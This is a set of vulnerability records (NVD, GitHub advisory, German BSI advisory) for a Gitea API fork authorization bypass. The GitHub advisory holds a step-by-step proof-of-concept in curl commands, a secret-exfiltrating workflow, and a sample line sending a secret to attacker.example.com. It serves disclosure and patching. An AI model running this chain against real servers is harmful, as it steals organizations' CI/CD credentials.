{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThan": "1.26.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Gitea versions before 1.26.0 allow API users to fork a repository into an organization without first passing the CanCreateOrgRepo check, which can expose organization secrets."
    }
  ],
  "id": "CVE-2026-22555",
  "lastModified": "2026-07-03T21:16:57.023",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-03T21:16:57.023",
  "references": [
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://blog.gitea.com/release-of-1.26.0/"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/pull/36950"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.0"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
    }
  ],
  "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        }
      ],
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:08:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member \u2014 in a team with `can_create_org_repo=false` \u2014 to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.\n\n## Steps To Reproduce\n\n### 1. Environment setup\n\nStart a Gitea instance with Actions enabled:\n\n```bash\n# docker-compose.yml\ncat \u003e docker-compose.yml \u003c\u003c \u0027EOF\u0027\nversion: \u00273\u0027\nservices:\n  gitea:\n    image: gitea/gitea:1.23\n    container_name: gitea-poc\n    ports:\n      - \"3000:3000\"\n    volumes:\n      - gitea-data:/data\n    environment:\n      - GITEA__database__DB_TYPE=sqlite3\n      - GITEA__server__ROOT_URL=http://localhost:3000/\n      - GITEA__security__INSTALL_LOCK=true\n      - GITEA__actions__ENABLED=true\nvolumes:\n  gitea-data:\nEOF\n\ndocker compose up -d\n# Wait for startup\nsleep 15\n\n# Create admin user\ndocker exec -u git gitea-poc gitea admin user create \\\n  --admin --username admin --password \u0027Admin1234!\u0027 \\\n  --email admin@example.com --must-change-password=false\n```\n\n### 2. Create the target environment (as admin)\n\n```bash\n# Get admin token\nADMIN_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/admin/tokens\" \\\n  -u \"admin:Admin1234!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"setup\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Create attacker user\ncurl -s -X POST \"http://localhost:3000/api/v1/admin/users\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attacker123!\",\"email\":\"attacker@example.com\",\"must_change_password\":false}\u0027\n\n# Create organization\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"target-org\",\"visibility\":\"public\"}\u0027\n\n# Create a source repository in the org\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"source-repo\",\"auto_init\":true}\u0027\n\n# Create a read-only team with can_create_org_repo=false\nTEAM_ID=$(curl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/teams\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"readonly-team\",\"permission\":\"read\",\"can_create_org_repo\":false,\"units\":[\"repo.code\",\"repo.issues\"]}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\n# Add attacker to the read-only team\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Add source-repo to the team so attacker can read it\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Create organization secrets (simulating real CI/CD credentials)\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"sk-live-test-deploy-key-1234567890abcd\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\u0027\n```\n\n### 3. Register an Actions runner\n\n```bash\n# Get runner registration token\nREG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)\n\n# Start act_runner (adjust network name if needed)\nNETWORK=$(docker inspect gitea-poc --format \u0027{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}\u0027)\ndocker run -d --name act-runner --network \"$NETWORK\" \\\n  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \\\n  -e GITEA_RUNNER_REGISTRATION_TOKEN=\"$REG_TOKEN\" \\\n  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\n  gitea/act_runner:latest\n\n# Wait for runner registration\nsleep 15\n```\n\n### 4. Verify attacker CANNOT create repos in the org (expected: 403)\n\n```bash\n# Get attacker token\nATTACKER_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/attacker/tokens\" \\\n  -u \"attacker:Attacker123!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"poc\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Try creating a repo directly \u2014 should fail\ncurl -s -o /dev/null -w \"Direct repo creation: HTTP %{http_code}\\n\" \\\n  -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"should-fail\",\"auto_init\":true}\u0027\n# Expected output: Direct repo creation: HTTP 403\n\n# Verify attacker cannot access org secrets via API\ncurl -s -o /dev/null -w \"Access org secrets: HTTP %{http_code}\\n\" \\\n  \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\"\n# Expected output: Access org secrets: HTTP 403\n```\n\n### 5. Exploit: Fork into the org via API (THE BYPASS)\n\n```bash\n# Fork the source repo into the org \u2014 this should also fail but doesn\u0027t\nFORK_RESULT=$(curl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/source-repo/forks\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"organization\":\"target-org\",\"name\":\"evil-fork\"}\u0027)\n\necho \"$FORK_RESULT\" | python3 -c \"\nimport sys,json\nd = json.load(sys.stdin)\nprint(f\u0027Fork created: {d[\\\"full_name\\\"]}\u0027)\nprint(f\u0027Permissions: admin={d[\\\"permissions\\\"][\\\"admin\\\"]}, push={d[\\\"permissions\\\"][\\\"push\\\"]}\u0027)\n\"\n# Expected output:\n#   Fork created: target-org/evil-fork\n#   Permissions: admin=True, push=True\n```\n\nThe attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.\n\n### 6. Enable Actions and push exfiltration workflow\n\n```bash\n# Enable Actions on the fork\ncurl -s -X PATCH \"http://localhost:3000/api/v1/repos/target-org/evil-fork\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"has_actions\":true}\u0027\n\n# Push a workflow that references org secrets\nWORKFLOW=$(cat \u003c\u003c \u0027WFEOF\u0027\nname: exfiltrate\non: [push]\njobs:\n  steal:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Leak org secrets\n        env:\n          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}\n          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}\n          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}\n        run: |\n          echo \"=== SECRET EXFILTRATION ===\"\n          echo \"DEPLOY_KEY length: ${#DEPLOY_KEY}\"\n          echo \"AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}\"\n          echo \"AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}\"\n          echo \"DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}...\"\n          echo \"AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}...\"\n          echo \"AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}...\"\n          echo \"=== END EXFILTRATION ===\"\nWFEOF\n)\n\ncurl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \"{\\\"content\\\":\\\"$(echo -n \"$WORKFLOW\" | base64 -w0)\\\",\\\"message\\\":\\\"add CI\\\"}\"\n```\n\n### 7. Verify secret exfiltration\n\n```bash\n# Wait for the runner to execute the workflow (60-120 seconds)\nsleep 90\n\n# Check the Actions run page in browser or via API:\necho \"View results at: http://localhost:3000/target-org/evil-fork/actions\"\n```\n\nExpected output in the workflow logs:\n```\n=== SECRET EXFILTRATION ===\nDEPLOY_KEY length: 37\nAWS_ACCESS_KEY length: 20\nAWS_SECRET_KEY length: 40\nDEPLOY_KEY prefix: sk-l...\nAWS_ACCESS_KEY prefix: AKIA...\nAWS_SECRET_KEY prefix: wJal...\n=== END EXFILTRATION ===\n```\n\nAll three organization-level secrets are accessible to the attacker\u0027s workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d \"$SECRET\" https://attacker.example.com/collect`).\n\n## Impact\n\nA read-only organization member \u2014 with no repository creation rights (`can_create_org_repo=false`) \u2014 can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.\n\nThe attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org\u0027s runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.\n\nOrganization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization\u0027s trusted namespace, creating supply chain risk for downstream consumers.\n\nThis is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees \u2014 precisely the users who should NOT have access to production secrets.\n\n\n## Supporting Material/References\n\n  * **poc-fork-authz-bypass.zip** \u2014 ZIP archive containing the full exploit script and README\n  * Vulnerable code \u2014 API fork handler (missing `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144\n  * Correct code \u2014 Web fork handler (has `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189\n  * Runner task assignment (matches on `owner_id`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248\n  * Secret injection (fetches by `Repo.OwnerID`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167\n  * Fork creator gets admin permissions:\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440\n  * Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability\n  * OWASP API Security Top 10 2023: API5 \u2014 Broken Function Level Authorization\n  * OWASP Top 10 2021: A01 \u2014 Broken Access Control\n\n\n[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)",
  "id": "GHSA-fhx7-m96w-mv29",
  "modified": "2026-06-17T18:08:00Z",
  "published": "2026-06-17T18:08:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration"
}

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Gitea ist ein quelloffener Github-Klon.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um Informationen offenzulegen, um Sicherheitsvorkehrungen zu umgehen, und um einen Cross-Site Scripting Angriff durchzuf\u00fchren.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- Sonstiges\n- UNIX\n- Windows",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1172 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1172.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1172 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1172"
      },
      {
        "category": "external",
        "summary": "Gitea Release Notes vom 2026-04-19",
        "url": "https://blog.gitea.com/release-of-1.26.0"
      }
    ],
    "source_lang": "en-US",
    "title": "Gitea: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-04-19T22:00:00.000+00:00",
      "generator": {
        "date": "2026-04-20T10:29:11.588+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.5.0"
        }
      },
      "id": "WID-SEC-W-2026-1172",
      "initial_release_date": "2026-04-19T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-04-19T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c1.26.0",
                "product": {
                  "name": "Open Source Gitea \u003c1.26.0",
                  "product_id": "T052969"
                }
              },
              {
                "category": "product_version",
                "name": "1.26.0",
                "product": {
                  "name": "Open Source Gitea 1.26.0",
                  "product_id": "T052969-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:gitea:gitea:1.26.0"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Gitea"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-22555",
      "product_status": {
        "known_affected": [
          "T052969"
        ]
      },
      "release_date": "2026-04-19T22:00:00.000+00:00",
      "title": "CVE-2026-22555"
    },
    {
      "cve": "CVE-2026-27780",
      "product_status": {
        "known_affected": [
          "T052969"
        ]
      },
      "release_date": "2026-04-19T22:00:00.000+00:00",
      "title": "CVE-2026-27780"
    },
    {
      "cve": "CVE-2026-28737",
      "product_status": {
        "known_affected": [
          "T052969"
        ]
      },
      "release_date": "2026-04-19T22:00:00.000+00:00",
      "title": "CVE-2026-28737"
    }
  ]
}